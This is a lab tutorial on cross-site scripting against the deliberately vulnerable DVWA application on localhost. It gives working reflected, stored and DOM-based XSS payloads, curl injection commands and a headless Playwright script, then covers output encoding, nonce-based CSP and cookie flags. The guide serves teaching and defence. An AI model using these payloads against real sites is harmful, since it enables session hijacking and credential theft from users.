

Cross-Site Scripting (XSS) & CSP Guide

Technical Execution Vectors, CLI Automation & Content Security Policy Implementation

Environment: Kali Linux / DVWA	Target Modules: Reflected, Stored, DOM-Based XSS	Defensive Layer: Context Encoding & Nonce CSP
---------------------------------------	---	--

1. Overview of Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) occurs when a web application receives untrusted data and transmits it to the browser without sufficient validation or context-aware encoding. This enables attackers to execute arbitrary client-side scripts within the user's session context, leading to session hijacking, credential theft, and unauthorized actions.

2. Reflected XSS (Query Parameters)

Reflected XSS occurs when an HTTP request parameter (such as a GET variable) is immediately echoed in the server's response page without proper escaping.

A. Browser Execution in DVWA

1. Navigate to the `XSS (Reflected)` section in DVWA (Security Level: **Low**).
2. Inject the following script in the input parameter:

```
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>#
```

The server reflects `$_GET['name']` into the DOM, executing the script immediately in the client browser.

B. CLI Execution (without Browser Search Bar)

Using `curl` with an authenticated session cookie:

```
curl -s -b "PHPSESSID=YOUR_SESSION_ID; security=low" "http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27%27%3C%2Fscript%3E%27" | grep -i "<script>"
```

3. Stored XSS (Persistent Attack)

Stored XSS occurs when user input is stored permanently in a backend database or file system and subsequently displayed to all users loading the page.

A. Client-Side Bypass & Browser Execution

1. Navigate to `XSS (Stored)` in DVWA.
2. If the **Name** input field restricts length via `maxLength="10"`, inspect the element in Developer Tools (`F12`) and modify it to `maxLength="100"`.
3. Inject the payload in the Message area:

```
<script>alert('Stored XSS: ' + document.cookie)</script>
```

Every subsequent visit to the Guestbook page retrieves and executes this script automatically.

B. CLI Execution via POST Request

```
curl -s -X POST -b "PHPSESSID=YOUR_SESSION_ID; security=low" -d
"txtName=Attacker&mtxMessage=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&btnSign=
Sign+Guestbook" "http://127.0.0.1/DVWA/vulnerabilities/xss_s/"
```

4. DOM-Based XSS (Client-Side Vector)

DOM-based XSS occurs when client-side JavaScript reads data from a user-controllable **Source** (e.g., `location.search` or `location.hash`) and passes it to an execution **Sink** (e.g., `document.write()` or `innerHTML`).

XSS Type	Primary Location	Server Participation	Primary Cause
REFLECTED	HTTP Request / Response	Reflects request payload	Unescaped server echo
STORED	Database / Application State	Stores & serves payload	Unsanitized storage
DOM-BASED	Client-Side DOM Engine	Static HTML/JS delivery	Unsafe JavaScript Sinks

A. Browser Execution via URL Fragment

```
http://127.0.0.1/DVWA/vulnerabilities/xss_d/#default=<script>alert(document.cookie)</
script>
```

Key Insight: Fragment Execution

Data placed after the `#` character is strictly client-side and is **never transmitted to the HTTP server** in GET headers. However, client JavaScript parses `document.location.href`, triggering the payload locally in the DOM.

B. Headless Execution via Node.js Playwright (CLI Automation)

Because DOM XSS requires client-side JavaScript evaluation, standard HTTP clients like `curl` do not execute the payload. Headless browser automation scripts evaluate the full DOM:

```
const { chromium } = require('playwright');

(async () => {
  const browser = await chromium.launch({ headless: true });
  const context = await browser.newContext();

  await context.addCookies([
    { name: 'PHPSESSID', value: 'YOUR_SESSION_ID', domain: '127.0.0.1', path: '/' },
    { name: 'security', value: 'low', domain: '127.0.0.1', path: '/' }
  ]);

  const page = await context.newPage();

  page.on('dialog', async dialog => {
    console.log(`[+] DOM XSS Alert Captured: "${dialog.message()}"`);
    await dialog.dismiss();
  });

  const payload = "<script>alert('Headless_DOM_XSS')</script>";
  await page.goto(`http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=${
    encodeURIComponent(payload)}`);
  await browser.close();
})();
```

5. Mitigation Strategies & Content Security Policy (CSP)

A. Input Validation & Context-Aware Output Encoding

Always sanitize and encode output based on its rendering context (HTML body, attributes, JavaScript variables).

```
// PHP HTML Entity Encoding Fix (DVWA Impossible Level)
$sanitized_name = htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "Hello " . $sanitized_name;
```

B. Content Security Policy (CSP) Header

A Content Security Policy (CSP) is an HTTP header that restricts script execution sources and blocks unauthorized inline scripts.

CSP Directive	Security Function
<code>default-src 'self'</code>	Restricts default resource loading to the same origin.
<code>script-src 'nonce-...' 'strict-dynamic'</code>	Blocks arbitrary inline scripts while permitting scripts with matching single-use cryptographic nonces.
<code>object-src 'none'</code>	Disables legacy plugins (Flash, Java Applets).
<code>base-uri 'self'</code>	Prevents manipulation of document base URLs for script injection.

C. Cryptographic Nonce Implementation Example

```
// HTTP Response Header
Content-Security-Policy: default-src 'self'; script-src 'nonce-rAnd0m12345'; object-src
'none';

<script nonce="rAnd0m12345">
  console.log("Authorized application code.");
</script>

<script>
  alert('Unauthorized XSS Execution Blocked!');
</script>
```

D. Cookie Security Flags

Prevent JavaScript access to session tokens via DOM methods:

```
Set-Cookie: PHPSESSID=session_value; Secure; HttpOnly; SameSite=Strict
```